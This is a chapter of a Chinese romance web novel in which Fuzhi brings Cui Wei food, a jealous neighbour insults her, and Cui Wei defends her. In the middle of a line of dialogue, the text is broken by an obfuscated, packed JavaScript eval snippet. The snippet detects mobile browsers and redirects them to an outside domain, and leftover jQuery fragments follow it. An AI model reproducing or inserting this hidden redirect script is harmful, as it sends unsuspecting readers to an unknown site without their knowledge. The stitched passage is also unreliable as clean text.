林家,灶房里。
福芝系着围裙,小心地将锅里最后一点红薯粥舀进碗里。
旁边的小食盒里,整齐码着几片腌得油亮的咸菜和切得薄薄的腊肉。
这是她专程给崔巍准备的。
自打及笄那日后,福芝觉得崔巍对她似乎有些不同了。
虽然话还是不多,但他看她的眼神,不再像以前那样刻意避开或是沉甸甸地压着什么,偶尔扫过她时,那目光里似乎多了点说不清道不明的东西。
福芝心里头也高兴,这样多好,没那么别扭。
她捧着碗,脚步轻快地朝崔巍暂住的小屋走去。
这样大家能其乐融融聚在一起的日子,其实也不多了。
门虚掩着,里面光线有些暗。
福芝脚步顿了一下,心里那点甜滋滋的雀跃更明显了。
她腾出一只手,刚想推开,却从门缝里瞥见了里头的光景。
崔巍背对着门口,坐在窗前的旧木桌旁。
窗外阳光正好,明亮的光线洒进来,照亮了桌面摊开的粗糙纸张。
他执笔的动作带着点习惯性的僵硬,却写得十分专注,缓慢而深沉,不像在抄书,倒像是在写什么要紧的东西。连她到了门口也没察觉。
福芝正想出声招呼,却见崔巍写完东西后,又将其叠起来,放入了一个信封之中。
是什么?
福芝的心莫名地提溜了一下,她深吸一口气,调整好脸上的笑容,故意加重了点脚步声,推门进去:
“崔巍,今天姨母和小娘一起去镇上卖绣品了,我帮你做了点吃食,快趁热吃点吧。”
“啪嗒。”极轻的一声。
几乎是福芝话音落下的同时,崔巍便将那封信压在了砚台底下。
快得甚至有点慌张。
福芝脸上的笑容僵了一瞬,但她很快掩饰过去,像是没注意到那个突兀的动作,将还散着热气的碗稳稳放在桌角,避开那沾了墨迹的砚台边缘。
“写什么呢这么入神?”
她语气刻意放得轻松,像是随口问,目光却忍不住往那方镇纸下露出一个边角的纸张瞟去。
崔巍已经转回身,脸上看不出什么特别的表情,只有眼底深处,那点短暂的慌乱被他极快地压下去,恢复了平素的沉静。
“同窗的回信罢了,不是什么重要的东西。”
他看了一眼碗里浓稠的红薯粥,又看了看福芝的围裙,低声道:“多谢。”
那声音里的平静,莫名让福芝刚刚被搅乱的心稍稍安定下来。
也许是写信给陆山长打听他娘的消息?又或者…是别的要紧事?她这么想着,也将那点疑惑抛之脑后。
“客气啥。”她顺势在桌边的凳子上坐下。
“早晨帮宋大夫整理药材的时候,他说你的伤处好得差不多了,如今连药汤也可以停了。”
她有一搭没一搭地说着:“宋大夫还夸我,说我近来认字也越来越多了,我说都是你私下给我开了小灶,帮我纠错,才会进步神速的。”
小屋安静下来,窗外温和的阳光在两人之间流淌。
一种暖融融的、带着食物甜香的静谧在小空间里弥漫,让福芝感到久违的安宁和满足。
大概是她脸上那种简单纯粹的放松感染了崔巍,他握着粥碗的手指松了松,嘴角也跟着牵起一丝极淡的弧度。
变声后的嗓音略显低沉,却带着一种难得的温和:
“我不过是帮一些力所能及的事情,你能这么快掌握认字和药材,终究是靠自己日日坚持。”
福芝被他这认真的语气夸得心头一热,眉眼弯弯,声音也轻快了几分:
“可不是嘛!白天忙活一圈回来,夜里还得抓紧时辰温习认字,有几次真的累得我胳膊都抬不动了。”
她说着,下意识揉了揉自己的胳膊,语气里却带着满足的自豪:
“不过……你从前说过‘不积跬步,无以至千里’,对吧?”
“累是累点儿,但熬过来就好了,想着将来家里光景更好,心里就踏实。”
她扬起笑脸,眼中带着一种未经雕琢的憧憬亮光,望向崔巍:
“你说千里那么远,我真能走到吗?”
崔巍看着她眼中灼灼的光,郑重点头:
“能。以你的心志,不过是早晚的事。”
他顿了顿,像是闲聊般自然地问起:
“福芝,等日子再好些,你最想过成什么样?”
福芝眼睛弯成了月牙儿,想也不想:
“当然是养鸡鸭猪呀!现在吃不上肉的日子早过够了。等再攒几年钱,院子后头搭上圈舍,养得肥肥的,过年杀上一头猪,那才叫好日子!风吹不着雨淋不着,顿顿有肉,一家人平平安安的,比啥都强!”
她说着,目光扫过小屋里温暖的阳光,满足地加了一句,“就像现在这样,安安稳稳的,多好。”
崔巍听着她理所当然的语气,看她眉梢眼角洋溢的踏实满足,低用木勺搅动碗里渐凉的粥,低低应道:
“……安稳,是挺好。”
室内莫名安静下来,福芝也不觉有他,刚想开口,问问他这粥味道如何,却听见脚步声由远及近而来。
门帘子被猛地一掀。
王妙晴提溜着一个盖着碎花布的篮子,扭着腰肢就进来了。
王妙晴今日显然精心捯饬过,一身水红色的细布袄裙簇新,头发梳得油光水滑,还簪了朵细珠穿的花儿。
她那双眼先在崔巍脸上转了一圈,又似笑非笑地落在福芝身上,尤其在那碗红薯粥上停了停。
“哟,福芝,就给人家公子端碗红薯粥?”
她尖锐的声音带着毫不掩饰的酸意和刻薄,打破了小屋里的宁静。
福芝脸上的放松瞬间消失得无影无踪,只剩下本能的防备和一丝恼怒。
她噌地站起身,挡在崔巍和桌子之间,看着王妙晴手里那篮子,十分不悦道:“你怎么进来了!”
王妙晴却道:“我来串门儿,怎的,不欢迎我?”
福芝被她噎了一下,硬声道:“家里长辈不在,你请回吧!”
王妙晴却两步上前,将手中的篮子放在桌上,笑道:“我又不是来找他们的,我是来找崔公子的——”
“公子只怕吃不惯这乡下东西吧?我爹送货回来,说这是京里流行的花样儿,干净又甜口,不如尝尝?”
她拉开篮子中的棉布,露出里头油纸包裹着的糕点,看上去,倒确实是京中出产的点心。
见崔巍面无表情,眼皮都没抬一下,王妙晴脸上的笑有点僵。她心一横,索性把话挑得更明,声音也尖利起来:
“哎哟,我这个人呢,就是心直口快,有啥说啥。不像有些人哪——”
她拖长了调子,目光瞥过福芝身上,“面上装得老实巴交,给人端茶送水,背地里打的什么主意,当谁看不出来呢?”
她往前凑了半步,几乎贴着福芝的脸,压低了声音,却足以让屋里每个人都听得清清楚楚:
“怎么?打量着人家公子落了难,无依无靠,就想着施点小恩小惠,把人拴在你这穷窝里?”
“还巴巴地送饭送菜,伺候得跟自家男人似的……啧啧,林福芝,你这算盘珠子打得可真响啊!怎么着,是想让他入赘你们林家,给你当上门女婿不成?”
她直起身,声音也愈加尖锐:“都是入赘,还不如来我家呢,好歹吃喝读书上,供得起崔公子,我听闻公子从前读
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268595|182200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那白马书院,所耗费的费用不少吧?”
福芝被她逼得后退两步,却觉得浑身发凉,嘴上却反驳不来,只是嚅嗫:“不、你胡说……”
王妙晴还想继续说,却没想到一旁的崔巍倒是缓缓站起身来,低声道:
“行了。”
他站在窗户投入的光里,一身半旧的长衫,此刻却仿佛裹挟着久违的、属于国公府世子的端肃。
王妙晴被他这突如其来的气势慑住,更恶毒的话生生卡在喉咙里。
福芝也惊住了,她没想到崔巍会突然出声制止。
王妙晴那些话……每一个字都精准地戳破了她心底那点隐秘的、连自己都不敢深究的念头。
她像被踩了尾巴的猫,急急冲着崔巍摆手,声音都变了调:“她胡说八道!你、你别听她的!”
“我也没有别的心思,崔巍,我们清清白白!谁、谁……”
她语无伦次,脸颊涨得通红,只想撇清自己,生怕崔巍误会了什么不堪的意图。
崔巍的目光却已掠过她急切慌乱的眉眼,重新定格在王妙晴身上。
他不再理会福芝的辩白,声音不高,一字一句十分清晰:
“她行事光明,心地纯善,待人以诚……福芝是个什么样的人,我想,我比王姑娘清楚得多。”
他微顿,语气愈发沉缓,像是在思索着什么:
“至于你方才口出不逊之言,言及婚嫁之事……”
他瞥了一眼还紧张着摆手的福芝,难得嗤笑一声,挑眉道:
“……福芝这样心性赤忱的女子,纵使有人心生慕艾,也是人之常情罢了。”
“若要论般配,倒是我这个戴罪之身,配不上她这份赤子之心。”
王妙晴彻底懵了。
这人、这人怎么好赖不分呢!
竟然,还说出这样的话,自己又哪点比不上这蠢笨的丫头了!
王妙晴的脸由红变白,又由白变青,最后涨成了猪肝色。
她气得浑身发抖,指着崔巍“你…你…”了两声,看着他那双毫无温度的眼睛,满腹恶毒的话却一句也吐不出来,只觉得一股冷气从脚底板直冲头顶。
终于,她把脚重重一跺,扭身抓起桌上那篮子,恶狠狠地剜了福芝一眼:
“好!好你个不识抬举的!你就跟着这个泥坑里的死丫头一辈子在土里刨食吧!”
说完,再没脸待下去,掀开门帘子就冲了出去,差点把歪斜的门框撞塌。
小屋瞬间只剩下福芝和崔巍。
空气仿佛凝固了,只有窗外的鸟雀还在叽叽喳喳地叫着。
但福芝却像全然没听见。
她整个人僵立在原地,如同脚下生了根,从头到脚都被刚才崔巍那番话钉住了。
脑子里像骤然炸开了一片惊雷,只反复轰鸣着那几个滚烫的字眼:
“心生慕艾,人之常情”……
他……他在夸她?
他是这样想她的?
他甚至……甚至说论般配……是他配不上自己?!
福芝感觉自己喘不过气来。
一股滚烫的气流从脚底直冲头顶,烧得她耳朵轰鸣,脸颊热辣滚烫。
他刚才说了什么?是她听错了吗?
崔巍站在那里,背脊挺直如松,脸上仿佛依旧覆着刚才拒人千里之外的神情。
那双看似沉着冷静的双眸,静静地盯着窗台上的麻雀。
不知从哪里吹来一阵穿堂风,那麻雀不安分地跳跃,又扑闪着翅膀,朝着天空飞去。
福芝还是找回了自己的声音,她略有些颤抖,却还是问出了那句话:
“崔巍……”
“你刚才说的意思,是不是,喜欢我啊?”